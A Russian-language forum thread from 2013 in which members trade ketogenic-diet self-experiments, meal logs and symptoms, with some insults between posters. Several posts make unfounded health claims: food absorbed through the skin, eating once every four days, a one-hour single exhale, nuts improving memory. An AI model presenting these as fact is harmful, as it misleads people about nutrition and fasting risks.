Re: Кетогенная диета
 
Цитата:

Сообщение от LadyTA (Сообщение 857480)
Глоток подсолнечного масла по утрам?

зачем у меня и так иногда так желчный срабатывает - как при чистке камни выходят - я же пишу на завтрак - ст.л. сливок, топленого масла при жарке омлета, еще ст.л сливок в омлет, 50гр.сала и 70 гр. слив масла - что мне даст еще растительное масло?

kukunja 08-11-2013 07:39

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 857225)
на пятый и шестой день почувствовал тяжесть в печени с подташниванием, не сильные , но докучали во время обычной утренней зарядки с тяжестями.

Начался кризис при переходе на белково-жировой обмен.

Цитата:

Сообщение от Олег1099 (Сообщение 857225)
Поехал в ресторан поел, причем, пока там был, четко заметил за собой внутреннее недовольство всем и всеми, через часик после еды попустило и успокоился)) захотел спать и уснул.

Сломался на углеводной ломке.

Maksenek 08-11-2013 07:40

Re: Кетогенная диета
 
Подскажите, какие сроки и признаки кето-криза на кетогенке?

К вечеру 5-го дня сильно разболелась голова, а на следующее утро появился микробный привкус во рту (всё как на 2-3 сутки СГ), это кето-криз?

kukunja 08-11-2013 08:05

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 857552)
(всё как на 2-3 сутки СГ)

При постоянном СГ (каскад/42 и более часа в неделю) голова уже не болит (если пропуск большой, то опять может при первом СГ). А кризис, при переходе на белково-жировой обмен, где-то идет в течении 5-7-х суток.

qaz 08-11-2013 14:28

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 857552)
К вечеру 5-го дня сильно разболелась голова, а на следующее утро появился микробный привкус во рту (всё как на 2-3 сутки СГ),

На детках выяснили что перейти на кето проще через короткое СГ или ЛГ, чем переползать на жирной пище.

Maksenek 11-11-2013 09:03

Re: Кетогенная диета
 
Вложений: 1
Отчет за первые 8 дней кетогенки/низкоуглеводки. Конечно, это только адаптационный период, так что пока рано расстраиваться что показатели далеки от ожидаемых. Тем не менее, то что за 8 дней средняя калорийность составила 1300, а вес не упал, обнадеживает - cнижающий обмен эффект лоукарбс налицо.

Удобно, что считать ничего не нужно вообще. Вся работа только потратить пару минут утром чтоб всё взвесить и вписать, и далее всё что нужно считается и заполняется автоматически (из-за формул Excel).

Олег1099 11-11-2013 17:50

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 858415)
Отчет за первые 8 дней кетогенки/низкоуглеводки.

так а что ел-то?
ты уж лучше выкладывай таблицы прям в сообщение, а то прям гемор - скачай архив открой архив.

ArmStrong 11-11-2013 22:24

Re: Кетогенная диета
 
меня заинтересовал вопрос кетогенной диеты через кожу.
Сами можете попробовать: возьмите в руки шоколадную плитку, наденьте поверх одноразовые пластмассовые перчатки. Можно такое сделать и с ногами, на ночь, но лучше для ходьбы, так быстрее всасывается.
Или Масло дерева ши: в Африке оно широко используется в пищевых и лекарственных целях и является основным источником пищевых жиров.
http://en.wikipedia.org/wiki/Shea_butter
Вот вам и длительное голодание и отдых для ЖКТ.
Это не рекомендация, так как я не уверен в возможных негативных последствиях. И не все масла хорошо впитываются через кожу, см. напр. Аюрведу. Сыр Будвиг cottage cheese хорошо впитывается через ноги, такое наслаждение, особенно при длительных велогонках.

Maksenek 12-11-2013 04:13

Re: Кетогенная диета
 
Цитата:

Сообщение от Олег1099 (Сообщение 858546)
так а что ел-то?
ты уж лучше выкладывай таблицы прям в сообщение, а то прям гемор - скачай архив открой архив.

Там всё указано. Эксель иначе только картинкой, но графика растром... уж лучше сделать 3 лишних клика))

qaz 12-11-2013 05:34

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 858594)
меня заинтересовал вопрос кетогенной диеты через кожу.
Сами можете попробовать: возьмите в руки шоколадную плитку, наденьте поверх одноразовые пластмассовые перчатки. Можно такое сделать и с ногами, на ночь, но лучше для ходьбы, так быстрее всасывается.
Или Масло дерева ши: в Африке оно широко используется в пищевых и лекарственных целях и является основным источником пищевых жиров.
http://en.wikipedia.org/wiki/Shea_butter
Вот вам и длительное голодание и отдых для ЖКТ.
Это не рекомендация, так как я не уверен в возможных негативных последствиях. И не все масла хорошо впитываются через кожу, см. напр. Аюрведу. Сыр Будвиг cottage cheese хорошо впитывается через ноги, такое наслаждение, особенно при длительных велогонках.

Нынче настоящий шоколад из какао бобов такая же экзотика как и масло дерева Ши вне Африки.
Вопрос лучше так поставить: какие жирные кислоты хорошо впитываются через кожу при разогретом состоянии тела и открытых порах кожи?
Тогда их можно и в других, более доступных маслах, поискать.

Олег1099 12-11-2013 07:56

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 858594)
Сыр Будвиг cottage cheese хорошо впитывается через ноги, такое наслаждение, особенно при длительных велогонках.

я правильно понял это Ваш личный опыт?
если да можно поподробнее, как и сколько времени делали, количество, что еще ели, пили? какие-то процедуры? ну и результат какой получили в плане здоровья?

ArmStrong 14-11-2013 17:30

Re: Кетогенная диета
 
случайный личный опыт. Например с йогуртом Будвиг, закупил много, в холодильнике, потом решил покончить с поеданием молочных продуктов. Не выбрасывать же йогурт, решил использовать для наружного применения, результат положительный. Сейчас не пользуюсь, много мороки и нет теоретической базы.
Основываюсь на опыте красавиц, которые подпитывают лицо разными кремами и маслами, что даёт лишь временный эффект, а потом кожа быстро увядает. А может она требует ещё большей порции? как с кофе?

ArmStrong 14-11-2013 17:34

Re: Кетогенная диета
 
Цитата:

Сообщение от qaz (Сообщение 858617)
Нынче настоящий шоколад из какао бобов такая же экзотика как и масло дерева Ши вне Африки.
Вопрос лучше так поставить: какие жирные кислоты хорошо впитываются через кожу при разогретом состоянии тела и открытых порах кожи?
Тогда их можно и в других, более доступных маслах, поискать.

масло ши получу через неделю, отпишусь о своём опыте.

Maksenek 15-11-2013 10:44

Re: Кетогенная диета
 
Вложений: 1
Отчет за 11 дней ореховой кетогенки/низкоуглеводки.

Ввиду отсутствия ограничений, по выработанной за десятилетия блюдоманской привычке, очень быстро всё скатилось к обжорству, что естественно не могло не вызвать расстройство пищеварения от обилия специфичных пищевых волокон. Так что следующий заход уже будет обязательно с ограничением - не более 950 ккал/сут.

Добавления углеводов были не потому что их хотелось, а как попытка улучшить самочувствие от переедания. Толку от этого было никакого, а скорее наоборот, так что эту практику дальше продолжать не планирую. Как и предполагал, миндаль со временем вытеснил другие орехи, их расхотелось. Его отличие, там значительно больше белка (15% энергии вместо 9), кальция, и кроме того по кислотно-щелочному балансу он находится в одной группе с грудным молоком.

Из интересных необычных явлений, к концу этой 11-дневки неожиданно обострилась долговременная память. Стал вспоминать уже много лет назад давно и казалось бы безвозвратно забытое. Возможно, орех специально стимулирует память распространителей своих семян, поскольку от этого напрямую зависит его выживание в природе. Известно, что у плодоядных животных (обезьян, летучих мышей) мозг больше относительно размеров их тела, чем у таких же их родственников, но не питающихся плодами. Зоологи это объясняют необходимостью запоминать и держать в уме довольно большую и сложную карту местности с рассредоточенными там плодовыми растениями. Кроме того, и живут они, по крайней мере некоторые, относительно долго (фрукто-орехоядные обезьяны, белки). Поэтому не удивительно, что те растения, которые волею судеб попали в зависимость от распространителей своих семян, вынуждены заботиться о том, чтобы они распространяли их эффективнее и лучше выживали. В результате им приходится увеличивать и поддерживать их большой мозг, улучшать им память, защищать от болезней и продлевать жизнь.

plush kitten 16-11-2013 18:26

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 859802)
Ввиду отсутствия ограничений, по выработанной за десятилетия блюдоманской привычке, очень быстро всё скатилось к обжорству

Начиная с 6-го дня средняя калорийность 2100, - по меркам отдельных участников с форума, может и обжорство:D, а для среднестатистического мужчины более-менее развитой страны - скорее уж спартанская диета:-). Но главное: вес за следующие 6 дней увеличился на 2,1 кг !!! - организм уже отчетливо откладывает про запас!

Цитата:

Сообщение от Maksenek (Сообщение 859802)
что естественно не могло не вызвать расстройство пищеварения от обилия специфичных пищевых волокон.

Расстройство пищеварения из-за 300 гр. орехов, т.е. менее 50 гр. волокон?


Цитата:

Сообщение от Maksenek (Сообщение 859802)
Добавления углеводов были не потому что их хотелось, а как попытка улучшить самочувствие от переедания.

Т.е. самочувствие на такой растительной кетодиете все же не очень, какие симптомы недомогания?

LadyTA 16-11-2013 23:22

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 860355)
Начиная с 6-го дня средняя калорийность 2100, - по меркам отдельных участников с форума, может и обжорство:D, а для среднестатистического мужчины более-менее развитой страны - скорее уж спартанская диета:-). Но главное: вес за следующие 6 дней увеличился на 2,1 кг !!! - организм уже отчетливо откладывает про запас!

Расстройство пищеварения из-за 300 гр. орехов, т.е. менее 50 гр. волокон?


Т.е. самочувствие на такой растительной кетодиете все же не очень, какие симптомы недомогания?

Я читала, что даже если орехи это единственные белки в питании, то всеравно более 100 граммов в сутки их есть нельзя.

Maksenek 17-11-2013 01:40

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 860355)
Начиная с 6-го дня средняя калорийность 2100, - по меркам отдельных участников с форума, может и обжорство, а для среднестатистического мужчины более-менее развитой страны - скорее уж спартанская диета.

Да, спартанская только по сравнению с привычными янки-евро обжорами. Изначально замеренный калораж за месяц при свободном питании составлял 2800. Затем несколько месяцев было также без ограничений, но старался есть меньше, только когда голоден, не есть от скуки и т.д. В результате среднее составило 2300, с минимумом в один из месяцев как раз 2100. И всё это при свободном питании, просто старался не есть лишнего.
Цитата:

Сообщение от plush kitten (Сообщение 860355)
Но главное: вес за следующие 6 дней увеличился на 2,1 кг !!! - организм уже отчетливо откладывает про запас!

Восстанавливались также и запасы воды. Тем не менее, частота дыхания была снижена - 8 вместо 12 на обычном питании, так что может небольшой сухой прирост тоже был.
Цитата:

Сообщение от plush kitten (Сообщение 860355)
Расстройство пищеварения из-за 300 гр. орехов, т.е. менее 50 гр. волокон?

Рекомендуемое потребление волокон на обычном питании по разным источникам значительно меньше 50-ти - от 10 до 25 г/сут, и то эти нормы очевидно не для исключительно ореховых волокон. Кроме того, я по старой привычке пережевываю всё до полного растворения, что увеличивает бактериальную доступность.
Цитата:

Сообщение от plush kitten (Сообщение 860355)
Т.е. самочувствие на такой растительной кетодиете все же не очень, какие симптомы недомогания?

Плохое самочувствие было от уже упомянутого расстройства пищеварения. Тяжесть в животе, неоформленный стул, дискомфорт в кишечнике - симптомы, типичные для переедания бактерио-фильными волокнами. Что и имело место быть. Было ощущение переедания, но не стал ограничивать себя из эксперимента в первый раз.

plush kitten 17-11-2013 12:24

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 859802)
Поэтому не удивительно, что те растения, которые волею судеб попали в зависимость от распространителей своих семян, вынуждены заботиться о том, чтобы они распространяли их эффективнее и лучше выживали.

Кстати, но ведь по большому счету растения заинтересованы и в том, чтобы распространители потребляли их плоды как можно более активно, замедление обмена плодоядных здесь явно совершенно лишнее.:idea:

У меня вот именно на орехах и фруктах просто гигантский калораж за сутки вырисовывается: 300-400 гр. орехов/семечек + едва ли не ведро фруктов (вчера вот одной хурьмы почти 2 кг:shuffle:). Считать просто страшно бывает ...:4u:

Когда говорю кому-то, что в день наедаю по 5 Mkal, а то и более, все сразу думают, что такое можно только на гамбургерах, тортах, сдобе и т.п., а на нерафинированных продуктах по столько есть якобы невозможно.

С другой стороны, если фрукты заменить овощами (отварные+сырые+зелень и специи), а орехи оставить (одними овощами, к сожалению, наесться не получается:-(), то энергоценность такого рациона значительно снижается (по крайней мере до простой обжорской нормы:D)

Цитата:

Сообщение от Maksenek (Сообщение 859802)
Плохое самочувствие было от уже упомянутого расстройства пищеварения. Тяжесть в животе, неоформленный стул, дискомфорт в кишечнике - симптомы, типичные для переедания бактерио-фильными волокнами.

У меня что-то похожее бывает, если съесть под 100 гр. пищевых волокон, т.е., например, солидная порция орехов + каша из отрубей.

Maksenek 17-11-2013 12:44

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 860565)
Кстати, но ведь по большому счету растения заинтересованы и в том, чтобы распространители потребляли их плоды как можно более активно, замедление обмена плодоядных здесь явно совершенно лишнее.

Факты из наблюдений в природе говорят об обратном, и могу объяснить почему. Главная задача плодоносов это не чтобы их больше съели, съедают их и так достаточно, что больше они уже дать не могут, а чтоб разнесли их как можно дальше и по большей территории. А для этого надо чтоб животное было более умудренным и опытным, а также долго жило, постепенно мигрируя по мере лет и продвигаясь дальше на новые территории. Именно этим и объясняется большая продолжительность жизни и замедленное развитие плодоядных, наблюдаемые в природе.
Цитата:

Сообщение от plush kitten (Сообщение 860565)
У меня вот именно на орехах и фруктах просто гигантский калораж за сутки вырисовывается: 300-400 гр. орехов/семечек + едва ли не ведро фруктов (вчера вот одной хурьмы почти 2 кг). Считать просто страшно бывает ...

Когда говорю кому-то, что в день наедаю по 5 Mkal, а то и более, все сразу думают, что такое можно только на гамбургерах, тортах, сдобе и т.п., а на нерафинированных продуктах по столько есть якобы невозможно.

Могу предположить что тебя "хорошо" кормили в детстве, иначе б ты не вымахал таким, да и акселерацию традиционно связывают с "улучшением" питания. Так что чего ты хочешь, привычка была сформирована, организм уже адаптирован к перманентному перееданию.

Леопольдовна 17-11-2013 12:48

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 860570)
Именно этим и объясняется большая продолжительность жизни и замедленное развитие плодоядных, наблюдаемые в природе.

Кто конкретно из плодоядных отличается большой продолжительностью жизни?

Maksenek 17-11-2013 13:07

Re: Кетогенная диета
 
Цитата:

Сообщение от Аполлинария (Сообщение 860572)
Кто конкретно из плодоядных отличается большой продолжительностью жизни?

Например, белки, как я уже сообщал ранее:
Цитата:

Сообщение от Maksenek (Сообщение 845136)
Кстати белки это одни из самых долгоживущих грызунов. Помню, как раньше меня поразило, когда смотрел продолжительность жизни грызунов в базе AnAge и увидел, что они живут оказывается в несколько раз дольше других грызунов того же размера - до 20 с лишним лет (а другие грызуны сходного размера, крысы например, до 4-5 лет максимум).

Или Spider-Monkey:
Цитата:

До 107 граммов (3,8 унции), паук обезьяны мозга в два раза превышает размер Ревун мозга эквивалентного размера тела, [ 27 ] Считается, что это быть результатом паукообразных обезьян "сложные социальные системы и их плодоядный диет, которые состоят в основном из спелых плодов из множества (более 150 видов) растений. Это требует обезьян вспомнить, когда и где плоды могут быть найдены. Медленное развитие может также играть роль: обезьяны могут жить от 20 [ 28 ] . до 27 и более лет, а самки рожают раз в 17 до 45 месяцев [ 29 ]
Нажмите тут для просмотра всего текста
At 107 grams, the spider monkey brain is twice the size of a howler monkey brain of equivalent body size; this is thought to be a result of the spider monkeys' complex social system and their frugivorous diets, which consist primarily of ripe fruit from a wide variety (over 150 species) of plants. This requires the monkeys to remember when and where fruit can be found. The slow development may also play a role: the monkeys may live from 20 [ 28 ] to 27 years or more, and females give birth once every 17 to 45 months. [ 29 ]


Леопольдовна 17-11-2013 13:13

Re: Кетогенная диета
 
Maksenek, а какие плоды и в какое время года едят белки? Не в зоопарке конечно.

Maksenek 17-11-2013 13:18

Re: Кетогенная диета
 
Цитата:

Сообщение от Аполлинария (Сообщение 860586)
Maksenek, а какие плоды и в какое время года едят белки? Не в зоопарке конечно.

А я что зоолог?)) Все знают что традиционная еда белок это орехи и др. плоды и что они умеют делать из них запасы. Но не думаю что нам есть смысл во всем копировать белок, всё-тки мы немножко другой вид животных.:smirk:

Леопольдовна 17-11-2013 13:23

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 860587)
А я что зоолог?))

Тогда глупости не пишите.
Вот Вам про белок

Леопольдовна 17-11-2013 13:28

Re: Кетогенная диета
 
Maksenek, и вообще, из млекопитающих дольше всех живет слон, питается листьями и травой.
Делайте выводы.

Maksenek 17-11-2013 13:30

Re: Кетогенная диета
 
Цитата:

Сообщение от Аполлинария (Сообщение 860589)
Тогда глупости не пишите.
Вот Вам про белок

Тут про конкретный вид белок, а я смотрел ПЖ всех видов белок и др. грызунов в научной геронтологической базе. Но и этот вид живет до 10-12 лет, что значительно больше обычных крыс например (до 4-5 макс). Так что и тут все сходится. А насчет глупостей, так глупость свою выставила напоказ ты - раз даже не знаешь такого элементарного что белок много видов.

Maksenek 17-11-2013 13:32

Re: Кетогенная диета
 
Цитата:

Сообщение от Аполлинария (Сообщение 860591)
Maksenek, и вообще, из млекопитающих дольше всех живет слон, питается листьями и травой.
Делайте выводы.

В очередной раз выставила напоказ свою глупость, а еще меня в ней обвиняешь. Не знать такого простого что ПЖ зависит от размера, ну это уж совсем никуда.

Леопольдовна 17-11-2013 13:36

Re: Кетогенная диета
 
Maksenek, хамишь, засранец? Хоть бы прочитал по моей ссылке: Бе́лка обыкнове́нная, или векша[1] (лат. Sciurus vulgaris) — грызун из семейства беличьих. Единственный представитель рода белок в фауне России.

Не знаю как у вас в России, а в нашей России вид белок один. И про продолжительность жизни там есть.

Цитата:

Сообщение от Maksenek (Сообщение 860593)
Не знать такого простого что ПЖ зависит от размера, ну это уж совсем никуда.

Так отъедайся до больших размеров, что ты все сушишься?

Maksenek 17-11-2013 13:41

Re: Кетогенная диета
 
Цитата:

Сообщение от Аполлинария (Сообщение 860594)
Maksenek, хамишь, засранец? Хоть бы прочитал по моей ссылке: Бе́лка обыкнове́нная, или векша[1] (лат. Sciurus vulgaris) — грызун из семейства беличьих. Единственный представитель рода белок в фауне России.

Продолжаешь писать глупости, ага, будто в научной базе будут виды только одной страны, и по совпадению только нашей, ну ни бред?
Цитата:

Сообщение от Аполлинария (Сообщение 860594)
Так отъедайся до больших размеров, что ты все сушишься?

Ну хоть съюморила, немного, и то хорошо.:smirk: Больше не опускай так свою репутацию. Если человек откровенно глуп, то ему следовало бы стыдиться этого, а не выствавлять свою тупость напоказ.

Свеклуша 17-11-2013 13:43

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 859802)
Возможно, орех специально стимулирует память распространителей своих семян, поскольку от этого напрямую зависит его выживание в природе.

Макс, прости, а ты действительно уверен, что поедатель орехов распространяет семена?
Что-то у меня подозрение, что диета на тебя не очень хорошо подействовала....

Maksenek 17-11-2013 13:45

Re: Кетогенная диета
 
Цитата:

Сообщение от Свеклуша (Сообщение 860599)
Макс, прости, а ты действительно уверен, что поедатель орехов распространяет семена?
Что-то у меня подозрение, что диета на тебя не очень хорошо подействовала....

О, ещё одна тролль-клончишка подоспела, ну приветик милая!:prv03:

Леопольдовна 17-11-2013 13:46

Re: Кетогенная диета
 
Maksenek, похоже научную базу, из которой ты берешь данные, написал ты сам. Или такой же researcher как ты. Вообще-то у нас страна самая большая, соответственно процент белок в ней больше чем где бы то ни было

Цитата:

Сообщение от Maksenek (Сообщение 860597)
Если человек откровенно глуп, то ему следовало бы стыдиться этого, а не выствавлять свою тупость напоказ.

Я свою глупость выставляю раз в год, а ты со своей носишься постоянно как курица с яйцом.
Ешь орехи - или белкой станешь или все-таки они тебе интеллект подправят. Хуже не будет.

Maksenek 17-11-2013 13:48

Re: Кетогенная диета
 
Цитата:

Сообщение от Аполлинария (Сообщение 860602)
Я свою глупость выставляю раз в год, а ты со своей носишься постоянно как курица с яйцом.
Ешь орехи - или белкой станешь или все-таки они тебе интеллект подправят. Хуже не будет.

Спасибо лапусечка!:prv03:

Свеклуша 17-11-2013 13:48

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 860601)
О, ещё одна тролль-клончишка подоспела, ну приветик милая!:prv03:

Приветик)))) и все-таки по теме: правда думаешь, что пережеванный и пропущенный через жкт орех прорастет?

Maksenek 17-11-2013 13:52

Re: Кетогенная диета
 
Цитата:

Сообщение от Свеклуша (Сообщение 860604)
Приветик)))) и все-таки по теме: правда думаешь, что пережеванный и пропущенный через жкт орех прорастет?

Такие плоды как орехи распространяются растаскиванием и выживают за счет утерь, например вспугнул кто-то белку выронила и потеряла в траве, или ее съел хищник (или умерла от болезней, старости и др. причин), заначка орехов осталась и проросла. Сам орех далеко не уйдет, рухнет камнем прям под дерево, поэтому они и делают их такими питательными, чтобы их растаскивали по округе плодоядные животные.

Леопольдовна 17-11-2013 13:55

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 860606)
поэтому они и делают их такими питательными,

Maksenek, солнышко, кто делает? Те кто с Сириуса залетает?
Или плоДоядные животные? Мультиков насмотрелся, лапочка?

Maksenek 17-11-2013 13:58

Re: Кетогенная диета
 
Цитата:

Сообщение от Аполлинария (Сообщение 860607)
Maksenek, солнышко, кто делает? Те кто с Сириуса залетает?

Естественный отбор конечно, милашка.

Лапуля 17-11-2013 17:35

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 860565)

У меня вот именно на орехах и фруктах просто гигантский калораж за сутки вырисовывается: 300-400 гр. орехов/семечек + едва ли не ведро фруктов (вчера вот одной хурьмы почти 2 кг:shuffle:). Считать просто страшно бывает ...:4u:

Ужас, вы же из туалета не вылезаете!

plush kitten 18-11-2013 13:25

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 860570)
Могу предположить что тебя "хорошо" кормили в детстве, иначе б ты не вымахал таким, да и акселерацию традиционно связывают с "улучшением" питания. Так что чего ты хочешь, привычка была сформирована, организм уже адаптирован к перманентному перееданию.

Читал, что значительное и неуклонное увеличение среднего роста, наблюдаемое в развитых странах на протяжении 20 века, вызвано именно повышением потребления белка. А каждый сантиметр "лишнего роста" снижает шансы на достижение долголетия, одновременно повышая вероятность раковых заболеваний.

В общем, некая мода на высокорослость (многие хотят быть повыше) - нездоровая глупость!:x

Всегда хотел иметь рост в районе 1.65 - 1.70.

Цитата:

Сообщение от СветлаЛюба (Сообщение 860664)
Ужас, вы же из туалета не вылезаете!

СветлаЛюба, представьте, с этим все нормально: дефекация дважды в сутки, расстройства пищеварения не мучают. Даже если съесть одномоментно 300 гр. орехов, то никакой тяжести не бывает. Хотя слышал, что у многих даже от 100 гр. тяжесть, вздутие, а то и печень побаливать начинает.

ArmStrong 28-11-2013 02:18

Re: Кетогенная диета
 
Цитата:

Сообщение от ArmStrong (Сообщение 859612)
масло ши получу через неделю, отпишусь о своём опыте.

получил фунт нерафинированного масла ши, его состав:
Олеиновая кислота (40-60 %)
Стеариновая кислота (20-50 %)
Линоленовая кислота 3-11 %
Пальмитиновая кислота 2-6%
Линолевая кислота (< 1 %)
Латекс

серо-жёлтого цвета, тает на коже, инфы о внутреннем приёме нет.
Растворяется хорошо в других маслах, получается вкусный благоуханный коктейль, особенно в виде молока. Ополоснул им зубы.

kukunja 02-12-2013 16:09

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 860920)
Читал, что значительное и неуклонное увеличение среднего роста, наблюдаемое в развитых странах на протяжении 20 века, вызвано именно повышением потребления белка.

У меня всю жизнь рост был 167 см, где-то с год назад замерял - была просадка на пол сантиметра. А вот на той неделе замерился - 168,2 см !!? Пока объяснить ни чем увеличение роста не могу (разве что выпрямился позвоночник, хотя и так вроде бы прямой был). При питанни по Монастырскому (базовое, 2-й год) было утяжеление костей почти на 2 кг. И у меня как я понимаю гормоны роста уже не работают (почти 60 лет).

Maksenek 05-12-2013 15:56

Re: Кетогенная диета
 
Вложений: 1
Кетогенка получается пока с перерывами, поэтому средние значения углеводов и калорий за первые 32 дня не очень хорошие. Как ни странно, не смотря на это установилась частота дыхания 5.4 ц/мин. На обычном питании было 12, при умеренном ограничении калорий 10.

marla 09-12-2013 10:44

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 865954)
установилась частота дыхания 5.4 ц/мин.

а задержка воздуха после вдоха -склолько?

kukunja 09-12-2013 13:53

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 865954)
не смотря на это установилась частота дыхания 5.4 ц/мин.

Надеюсь, замеры производились во время сна!!?

Maksenek 16-12-2013 14:50

Re: Кетогенная диета
 
Вложений: 1
Цитата:

Сообщение от marla (Сообщение 867067)
а задержка воздуха после вдоха -склолько?

А как надо правильно замерять?
Цитата:

Сообщение от kukunja (Сообщение 867106)
Надеюсь, замеры производились во время сна!!?

Это, как и полагается, в покое лежа в состоянии бодрствования спустя не менее 12 ч после еды, чтобы дыхание соответствовало основному обмену. Ем перед сном, так что так не пойдет. Хотя в последние дни питался в течение всего дня понемногу, так что ЧДД все время была повышенной (ОО + затраты на пищеварение), чаще 6-8, или больше в зависимости от того как давно и сколько ел перед этим.

Установил новый рекорд кетодиеты - 13 дней на 20 г угл/сут. Сначала все шло хорошо, отличное самочувствие, высокая психическая активность. Затем, в последние 3 дня началось резкое неожиданное падение веса и он быстро ушел ниже той точки, за которую никогда не заходил за все 43 дня от начала этих кето-экспериментов. На последний, 13 день появился неприятный запах изо рта, а на утро 14 дня он значительно усилился и одновременно появилось легкое саднение в горле, небольшой кисловатый привкус во рту и тяжесть в голове. Сначала подумал что это от простуды (перед этим был легкий насморк), но может это было из-за ограничения углеводов? Диету при этом продолжать не хотелось, так что пришлось отступить. Не знаю как теперь быть дальше, продолжать попытки удержаться на 20 г углей, или увеличить их кол-во до какого-то уровня?

kukunja 16-12-2013 14:59

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 868967)
Сначала все шло хорошо, отличное самочувствие, высокая психическая активность. Затем, в последние 3 дня началось резкое неожиданное падение веса и он быстро ушел ниже той точки, за которую никогда не заходил за все 43 дня от начала этих кето-экспериментов. На последний, 13 день появился неприятный запах изо рта, а на утро 14 дня он значительно усилился и одновременно появилось легкое саднение в горле, небольшой кисловатый привкус во рту и тяжесть в голове.

Странно. У меня такого не было, хотя в питании углеводов в пределах 10-20, хотя я так питаюсь параллельно с голоданием. И исходя из этого - может у вас чистка началась, так сказать из глубин поперло.

Maksenek 16-12-2013 23:20

Re: Кетогенная диета
 
Цитата:

Сообщение от kukunja (Сообщение 868969)
углеводов в пределах 10-20, хотя я так питаюсь параллельно с голоданием

Параллельно с голоданием - это как? И сколько белков и жиров в среднем?

Maksenek 16-12-2013 23:21

Re: Кетогенная диета
 
Подскажите плз, здесь, кажется кто-то из девочек, приводил ссылку на англоязычный источник что слишком сильное ограничение углеводов чем-то нехорошо, и всем лоукарбовцам рекомендовали не исключать их совсем и не опускать ниже какого-то порогового минимума который там указывался. Где это было? Хочу почитать о чем там.

kukunja 17-12-2013 06:42

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 869086)
Параллельно с голоданием - это как? И сколько белков и жиров в среднем?

Еда 1 раз в 2 суток, сейчас временно пробую еду 1 раз в 4 суток. Конкретно белки и жиры не считаю, но стараюсь есть все с большим содержанием жира, ну и сало конечно.

allright 17-12-2013 07:35

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 869087)
Подскажите плз, здесь, кажется кто-то из девочек, приводил ссылку на англоязычный источник что слишком сильное ограничение углеводов чем-то нехорошо, и всем лоукарбовцам рекомендовали не исключать их совсем и не опускать ниже какого-то порогового минимума который там указывался. Где это было? Хочу почитать о чем там.

Привет, для примера можешь это глянуть
Цитата:

Warning
Although a high protein diet may increase creatinine levels, the effects of which may be efficiently handled by healthy kidneys, it is crucial to be aware of the implications presented by a diet which is not only high in protein, but also low in carbohydrates; such as those promoted to induce rapid weight loss. According to experts at the National Institute of Advanced Industrial Science and Technology, a high protein, low carbohydrate, or ketogenic, diet increases your risk of hypofibrinolysis, which can cause blood clots. Medline Plus states that a diet high in meat protein may increase cholesterol levels and contribute to gout, with its typical symptoms of hot, red, swollen joints.
http://www.livestrong.com/article/32...et-creatinine/

Насколько я в теме, то основной трабл длительной кетогенки - повышенный уровень креатинина и нагрузка на почки. Если конкретно не подскажут, то гугли что- то вроде этого https://www.google.com.ua/search?q=c...+diet&safe=off

plush kitten 17-12-2013 11:03

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 868967)
Это, как и полагается, в покое лежа в состоянии бодрствования спустя не менее 12 ч после еды, чтобы дыхание соответствовало основному обмену.

Maksenek, Что-то сдается мне, что количество циклов дыхания в минуту не совсем точно соответствует уровню метаболизма (надо бы еще тогда и глубину дыхания оценивать). У меня на питании без ограничений в районе 12 получается, хотя ем при этом в 2,5 раза больше твоего на свободном выгуле (считаю утром после пробуждения и вечерней еды).


kukunja, а Вы случаем замерять не пробовали? Интересно было бы узнать результаты, учитывая Ваше редкопитание и экстремальную кетогенку!

kukunja 17-12-2013 13:25

Re: Кетогенная диета
 
Цитата:

Сообщение от plush kitten (Сообщение 869172)
kukunja, а Вы случаем замерять не пробовали? Интересно было бы узнать результаты, учитывая Ваше редкопитание и экстремальную кетогенку!

Жена у меня во время сна замеряла, получается 9-10 ц/мин. Конкретно урежением дыхания не занимался. Занимался по Фролову, довел ПДА до 46 сек., затем перешел на эндогенное дыхание - с одного вдоха 1 час выдоха ( с микроподсосами).

marla 17-12-2013 15:03

Re: Кетогенная диета
 
Цитата:

Сообщение от Maksenek (Сообщение 868967)
А как надо правильно замерять?

сядь спокоино перед часами, спина прямая, вдох и держишь, сколько можешь.

Maksenek 17-12-2013 18:29

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 869127)
Warning
Although a high protein diet may increase creatinine levels, the effects of which may be efficiently handled by healthy kidneys, it is crucial to be aware of the implications presented by a diet which is not only high in protein, but also low in carbohydrates; such as those promoted to induce rapid weight loss. According to experts at the National Institute of Advanced Industrial Science and Technology, a high protein, low carbohydrate, or ketogenic, diet increases your risk of hypofibrinolysis, which can cause blood clots. Medline Plus states that a diet high in meat protein may increase cholesterol levels and contribute to gout, with its typical symptoms of hot, red, swollen joints.

http://www.livestrong.com/article/32...et-creatinine/

Насколько я в теме, то основной трабл длительной кетогенки - повышенный уровень креатинина и нагрузка на почки. Если конкретно не подскажут, то гугли что- то вроде этого https://www.google.com.ua/search?q=c...+diet&safe=off

